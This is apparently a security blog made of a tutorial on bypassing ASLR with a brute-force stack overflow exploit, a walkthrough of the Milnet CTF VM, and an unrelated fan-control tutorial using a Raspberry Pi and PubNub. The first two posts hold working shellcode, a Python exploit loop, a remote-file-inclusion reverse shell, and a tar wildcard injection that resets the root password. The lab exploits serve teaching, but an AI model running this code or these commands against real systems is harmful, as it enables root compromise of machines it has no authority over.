Bypassing ASLR Protection using Brute Force

1. Introduction

Hi ALL, Today i will talk about my article published in Hakin9 magazine “bypassing ASLR Protection using Bruteforce

Most of us are familiar with basic stack and heap buffer overflow attacks and how they can be exploited, in most modern computers multiple protections are applied to prevent buffer overflow attacks including Canary Values, ASLR. DEP,…etc. In this article we will look in to one type of BOF protections which is ASLR and how it can be defeated using a simple Brute force.

ASLR is an abbreviation for Address Space Layout Randomization, It’s a memory-protection process for operating system that guards against buffer-overflow attacks by randomizing the location where system executable are loaded into memory.

I don’t intend to talk about the math involved in ASLR, But quickly Effectiveness of ASLR is limited by the amount of entropy assigned (Number of random Bits  that the stack and heap can be offset by) so the obviously the amount of randomization will differs from 32 to 64 bit systems that’s why 64 bit systems are harder to exploit when ASLR is enabled.

1. Basic Stack BOF Exploit

First, for those who are wondering what is buffer overflow I would like to give a quick overview about BOF Attacks and how they are done.

A buffer is a temporary area for data storage. when data transferred to a buffer exceeds the storage capacity of that buffer, this will cause the data to overflow and override existing buffers and registers, A malicious hacker can exploit this by overriding the EIP Pointer to point to a shell code injected using the BOF vulnerability and cause it to be executed.

The Idea of the BOF is to inject our shell code and override the EIP(Instruction pointer) with the address to the shell code hence it will get executed. Below is a figure showing the operation, where the RET is the EIP Register



In the next sections we will use a sample vulnerable ELF file I got from “The Lord Of The Root” VM on

We will exploit the binary two times, first time without ASLR protection enabled and the second time when enabling the Protection

1. BOF Exploit (No ASLR)

Below is just an binary with setuid permission that takes the user input argv[1] and store it in to a buffer, the goal is to exploit this binary to do a privilege escalation and get a root shell on the box.

First let’s fire up our Linux Mint and check if ASLR is enabled or not by running the command

cat /proc/sys/kernel/randomize_va_space

if the output if 0 it means it’s disabled if the output is 1 or 2 it means it’s enabled, as per below screenshot it’s disabled.


Our ELF file is called VulnerableAPP, let’s check if it’s vulnerable to BOF or not, we run the executable with an input of 1Kb using the following command. /VulnerableApp $(python –c ‘print “A”*1000’)


We got a segmentation fault which means that the EIP register is overridden and it’s pointing in a location on the memory that can’t be executed

The most important step for Exploiting BOF vulnerabilities is to get EIP offset, one of the techniques used is the pattern_create and pattern_offset tool from Metasploit team, pattern_create generate a payload that you use in a BOF vulnerability and then using GDB you can get the address of the EIP and use it as an input for pattern_offset and it will give you the offset of the EIP Register, let’s see it in action.

Let’s generate a payload of 1kB using the following command

 /usr/share/metasploit-framework/tools/pattern_create.rb 1000


Run the ELF file using GDB Debugger to get the address of the EIP. Give the generated payload as an input to the Vulnerable binarysegfault.png

As seen the program exits when the EIP points to this memory address 0x41376641, if we give this address as an input for the pattern_offset tool it will give us the exact offset for the EIP pointer which is 171


To make sure let’s put the payload as this A*171 + B*4, the expected output is that the ASCI of B will override the EIP register which is 42.

 (gdb) run $(python -c 'print "A"*171 + "B"*4')


Next step is to get the Address of the EIP to override the EIP register, as a simple way to do that is to examine the Stack using the x command in gdb x/1000x $esp


As we can see the value 0x42424242 lies at the below address 0xbffff7f0, one thing we can do is to make this address point to our shellcode and voila we can get a shell with root access on the box.

Our payload will be as follow “A”*171 + <RET Address> + <NOP Sleds> + <ShellCode>

Where the return address will point to our /bin/sh shellcode.


Below is the exploit command

./VulnerableApp $(python -c 'print "A"*171 + "\xf0\xf7\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')

Below before running our exploit the output of whoami was smeagol, after running our exploit it was root, great isn’t it!


1. ASLR Effect

First before exploiting the binary with ASLR Protection let’s check and understand what is the effect of ASLR on executing a program.

Below is a simple C code for a program that print the top of the stack(ESP).

#include <stdlib.h>

int main (int argc, char *argv[]) {

char *addr;


return 0;


Let’s run it couple of times without the ASLR protection. As in the screenshot the address is always the same 0xbffff62c


Let’s try to run it again after enabling ASLR, to enable ASLR protection we can use this command

echo 2 >/proc/sys/kernel/randomize_va_space

To verify that let’s run a cat on the file


Let’s run the ESP program now and check the output.


Let’s run our exploit Command again after enabling the ASLR protection and check if it will get us a root access or not!

./VulnerableApp $(python -c 'print "A"*171 + "\xf0\xf7\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')

As expected it didn’t work!


1. BOF Exploit (with ASLR Protection)

ASLR has many sophisticated ways that can bypass, it due to vulnerabilities in its implementation, the most simple and my favorite way is brute force. In this technique attacker chooses a particular libc base address and continues to attack the program until he succeeds. This technique is the simplest of the technique to bypass ASLR, provided you get lucky!

First let’s get a random address by running our print ESP program (0xbfeee61c)


Now we will use this address in our exploit code and hope when brute forcing it will point to our shellcode, The Question is how to increase our chances?!



The answer is NOP Sleds.

A NOP (No operation) is an instruction that does nothing but increment the instruction pointer. This means that if you are able to place a number of NOPs before your shell code, you just need to jump to any of these NOP-instructions and they will slide the instruction pointer down to your shell code. 0x90 is the opcode of a NOP-instruction on Intel x86


Let’s start writing our exploit code.

import os  

i=1                           ##Counter for Counting number of trials

while True:            ##Continue running the program till it succeeds

        eipOffset = 171           ##EIP offset

        RandomAddress = '\x1c\xe6\xee\xbf’    ##Address we got from we run  ESP program 0xbfeee61c

        nopSleds = 20480                   ##Large number of NOP sleds

        shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'                          ## Our /bin/sh    shellcode      

        exploit = ('A' * eipOffset) + RandomAddress + ('\x90' * nopSleds) + shellcode    ##our exploit payload

        print "BruteForce ASLR Trial Number " + str(i)         ##printing number of trial    

        os.system("/home/smeagol/VulnerableApp" + ' ' + exploit)        ##executing the program

        i=i+1          ##incrementing number of trial upon failed attempt

lets run our code and see if it will succeeds, and after how many trials?.

Gr8 It worked after 292 trials, Glad it succeeded before the release date of the magazine!

Let’s start writing our exploit code.           

import os  

i=1                           ##Counter for Counting number of trials

while True:            ##Continue running the program till it succeeds

        eipOffset = 171           ##EIP offset

        RandomAddress = '\x1c\xe6\xee\xbf’    ##Address we got from we run  ESP program 0xbfeee61c

        nopSleds = 20480                   ##Large number of NOP sleds

        shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'                          ## Our /bin/sh    shellcode      

        exploit = ('A' * eipOffset) + RandomAddress + ('\x90' * nopSleds) + shellcode    ##our exploit payload

        print "BruteForce ASLR Trial Number " + str(i)         ##printing number of trial    

        os.system("/home/smeagol/VulnerableApp" + ' ' + exploit)        ##executing the program

        i=i+1          ##incrementing number of trial upon failed attempt

lets run our code and see if it will succeeds, and after how many trials?.

Gr8 It worked after 292 trials, Glad it succeeded before the release date of the magazine!Brute.png

1. Conclusion

Beating ASLR Protection is pretty easy, all you need is a cup of coffee, Some free time and obviously some luck.

To have access to the vulnerable binary, Exploit Source codes please refer to my github project, Thanks for your Hope you enjoyed.

Thanks Hope You Enjoyed.


Milnet 1 Solution

Hi Again,

Today i will show you how to PWN Milnet VM from vulnhub.

fire up the machine and run your port scans, only port 22 and 80 are open

Starting Nmap 6.40 ( ) at 2016-10-29 17:08 EET
Nmap scan report for
Host is up (0.00019s latency).
Not shown: 998 closed ports
22/tcp open  ssh     (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    lighttpd 1.4.35
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
MAC Address: F4:06:69:8D:72:D7 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 1 hop

1   0.19 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 32.47 seconds


i had a look on the webpage on port 80


i fired up Burp and i found this


there is a post parameter called route

i suspected a LFI vulnerability and i was right i used the php filter trick to get the source codes


i got all the files source code but unfortunately i didn’t find any lead, also i got the phpinfo file and i found that ALLOW_URL_INCLUDE is ON.

Great we can get an RFI with this configuration, i set up a reverse shell running on my server , and did a post request with parameter route=

and i got my self a shell.


looking for an escalation point (fast one), my shell was on / directory , running ls i found folder called backup.

inside this backup i found a file owned by root which contain wild card  miss configurations, of course i can’t run this file with my privilege but i searched for someone or something who calls this script.

so i looked for inside all files in linux system

grep -r "" > /tmp/result
below is output
$ cat /tmp/result
var/lib/apt/lists/us.archive.ubuntu.com_ubuntu_dists_xenial_universe_i18n_Translation-en: This package provides the backup, restore,, and dump-remind
home/langman/SDINET/fips_500_166.txt:system data.   Each backup should be  checked to ensure  that the 
etc/crontab:*/1 *     * * *     root    /backup/
usr/sbin/deluser:    # if --backup-to is specified, --backup should be set too

i can find that file is being called in to cron every 1 minute. great easy shell now.

the content of the backup file is

cd /var/www/html
tar cf /backup/backup.tgz *

The wildcard misconfiguration can allow us to escalate our privilege as tar has an option that can be used to inject linux commands.

i created a file called

file contents

echo "root:password1" | chpasswd

this changes root password.

next i created the parameters that are used to inject files in tar as an empty files in the /var/www/html directory

toutch --checkpoint-action=exec=sh
touch --checkpoint=1

Next i run a hydra with for loop on the machine until the password is changed


sakr@HacKeD ~/study/Milnet $ for i in {1..200}; do hydra -l root -p password1 ssh; done
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra ( starting at 2016-10-29 21:52:50
[DATA] 1 task, 1 server, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking service ssh on port 22
[22][ssh] host:   login: root   password: password1
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2016-10-29 21:52:51
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra ( starting at 2016-10-29 21:52:51
[DATA] 1 task, 1 server, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking service ssh on port 22
[22][ssh] host:   login: root   password: password1
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2016-10-29 21:52:51
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra ( starting at 2016-10-29 21:52:51
[DATA] 1 task, 1 server, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking service ssh on port 22
[22][ssh] host:   login: root   password: password1
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2016-10-29 21:52:51
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra ( starting at 2016-10-29 21:52:51
[DATA] 1 task, 1 server, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking service ssh on port 22
[22][ssh] host:   login: root   password: password1
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2016-10-29 21:52:52
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra ( starting at 2016-10-29 21:52:52
[DATA] 1 task, 1 server, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking service ssh on port 22
[22][ssh] host:   login: root   password: password1
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2016-10-29 21:52:52

That was a fairly easy VM, Hope you enjoyed.

[IOT Tutorial]Control Your Fan using Pubnub API


Hi All,

Today I’m going to show you a nice tutorial about controlling things remotely from audience for this tutorial are engineers interested in the IOT trend .

Things i will be using in this tutorial

  • breadboard
  • Raspberry pi 2
  • Infrared TX and RX
  • Resistors
  • Jumper female to male wires
  • a remote controlled fan

on the software side we will use the following.

  • Python
  • HTML,CSS and Javascript

I think all the above is pretty clear for most people.

one thing i want to stress on is pubnub API.

Pubnub API

PubNub is a cloud-based, real-time messaging service that functions on mobile phones and web browsers. It is a Push technology intended specifically for high-message-volume applications and games. The API allows users to publish and subscribe to messages. in other words it allows you to control things from the Internet using persistent socket.

before going forward in this tutorial i recommend to visit the below link for pubnub tutorial,

during the tutorial we will utilize pubnub API using python and Javascript.

for people who are lazy enough to go through the tutorial, this photo best describes the API.


the cloud is capable of sending messages by Publisher and the corresponding subscriber can receive it. the corresponding subscriber can know that the message is intended to him using publisher and subscriber keys so he receives them and drop other unrelated messages. thats enough for pubnub, let’s continue.


So for all electronics geeks, IR TX and RX are not a rocket science. they are used to transmit and receive signals with certain frequency and pattern, I’m not going in to details but all you need to know that Receiver can only receive signal from transmitter by having a line of sight. and transmitter should send unique signals to receiver in order to differentiate between for example LG from Sony TV.

Hardware Setting up receiver

First thing required is to setup the raspberry pi with the IR receiver. as in below picture IR receiver has 3 pins

  1. Output
  2. GND
  3. VCC



below is a physical photo of the IR receiver with Raspberry pi.


LIRC Library

LIRC is a mature and stable open source library that provides the ability to send and receive IR commands.LIRC support is now included by default in the latest version of Raspbian OS. before going through follow the instructions in this link to install Lirc on your raspberry pi 2.

The target now is to make the IR TX receive buttons from the remote control of the fan, record them and then send the same pattern using the IR TX.


to capture the button and record it ,a perfect utility come with LIRC is called irrecord is suitable for the job. before using the utitlity one note you have to consider, during configuring LIRC you have to determine which pin in the Raspberry pi will be the Input Pin that receives the IR signals from the remote, in our case it’s GPIO18 as in previous screenshots, hence in the LIRC configuration files edit /boot/config.txt with the input and output pin used in your hardware setup, in my case it was


now let’s use IRRECORD. for example let’s record the ON/OFF button of the fan.

run the below command

irrecord -d /dev/lirc0 ONOFFButton.conf

this will record the button signal and store them in ONOFFButton.conf, after running the command just follow the instructions written until the configuration file is generated.

begin remote

  name  tornado
  flags RAW_CODES
  eps            30
  aeps          100

  gap          8979

      begin raw_codes

          name KEY_STOP
             8989    4500     557    1734     506     597
              536     647     486     648     460     597
              536     601     532     601     507     578
              555     580     553    1686     555    1712
              528    1714     553    1685     556    1713
              527    1714     554    1685     555    1714
              527    1712     555     580     527     578
              555     600     507     627     507     578
              555     602     504     628     507     578
              563    1705     527    1714     553    1685
              556    1713     527    1721     546    1686

      end raw_codes

end remote

Two things are important in this file

  1. name tornado (this is the name of the remote)
  2. name KEY_ONOFF (this is the name of the Button)

the same way you can create a configuration file for any button on your remote control,Now we are finished with the receiver, let’s go through the transmitter

Hardware Setting up Transmitter

The transmitter is Two Pins

  1. GPIO
  2. GND


Noting that the output pin has to be  wired to GPIO22 as we configured in LIRC configuration  file


Sending IR Signal

Next to send the IR signal a perfect utility that comes with raspberry pi is called irsend.

before using irsend, the output of the ONOFFButton.conf is placed in the following file


Next simply run the command with your IR TX pointed and close to the fan.

irsend send_once tornado KEY_ONOFF

tornado and KEY_ONOFF are the names of the remote and button defined in the configuration file.

Running the command will power on the fan, running it again will close it.

Pubnub Publisher and Subscriber

our target is to give the raspberry pi a remote signal using java script by utilizing the pubnub API to the subscriber(raspberry pi) which will be utilizing pubnub API using Python.

Publisher Code

First the publisher will be our simple Website which will be used to push messages remotely to the raspberry pi to toggle the fan ON/OFF. i will remove CSS part from the code as it’s unnecessary beside I’m not a developer so don’t get scared from the Website 😀 i will only mention the important parts of the code.

Before going through the code make sure you have read the PUBNUB tutorial link previously

<meta charset="utf-8"/>
<!--Creating a Button-->
<button id="ToggleFan"><span>FAN Control!!!!</span></button>   
<!--loading the pubnub API-->
var button = document.querySelector('button');
var channel = 'sakr';

<!--Initializing the Publisher-->
    var p = PUBNUB.init({
        subscribe_key: 'sub-c-be3145da-xxxx-xxxx-xxxx-xxxxxxxxxxxx',
        publish_key:   'pub-c-12cbec68-xxxx-xxxx-xxxx-xxxxxxxxxxxx'

<!--Sending Message to subscriber(FanoNorOff)-->
function ToggleMyFan() {
      channel : channel, 
      message : {Action: "FanoNorOff"}

<!--Adding Event Handler to the ToggleFan button-->
  document.getElementById("ToggleFan").addEventListener('click', ToggleMyFan);

Now my website looks like this Selection_138.png

Subscriber Code

Now let’s go through the subscriber code which will be Python running on our raspberry pi.

import sys
##Importing the PUBNUB Module###
from pubnub import Pubnub
import os
import RPi.GPIO as GPIO
GPIO.setup(22, GPIO.OUT) 
#######Publisher and subscriber Keys######
pubnub = Pubnub(publish_key='pub-c-12cbec68-xxxx-xxxx-xxxx-xxxxxxxxxxx'
, subscribe_key='sub-c-be3145da-xxxx-xxxx-xxxx-xxxxxxxxxxxx')

######Command used to Toggle FAN#########
ToggleFan='irsend send_once tornado KEY_ONOFF'
#######Function that will be used when receiving msg from publisher#####
###When the Subscriber receives message FanONorOff it will use irsend###
def _callback(m, channel):
    if m['Action']=="FanoNorOff":

def _error(m):
#########Initialize Subscriber#############
pubnub.subscribe(channels=channel, callback=_callback, error=_error)

Running The Project

After running the subscriber first using python. Then pushing on the Toggle Fan button on our website, our Raspberry pi will show this output, and at the same time if your wiring is correct and your IT TX has a line of sight with the fan, Your fan will be toggled to ON and if you press the button again it will be turned OFF


below is a 30 seconds video that shows the implementation

Hope you liked My tutorial Don’t hesitate to write back if you have any comments or questions.

Good Bye 🙂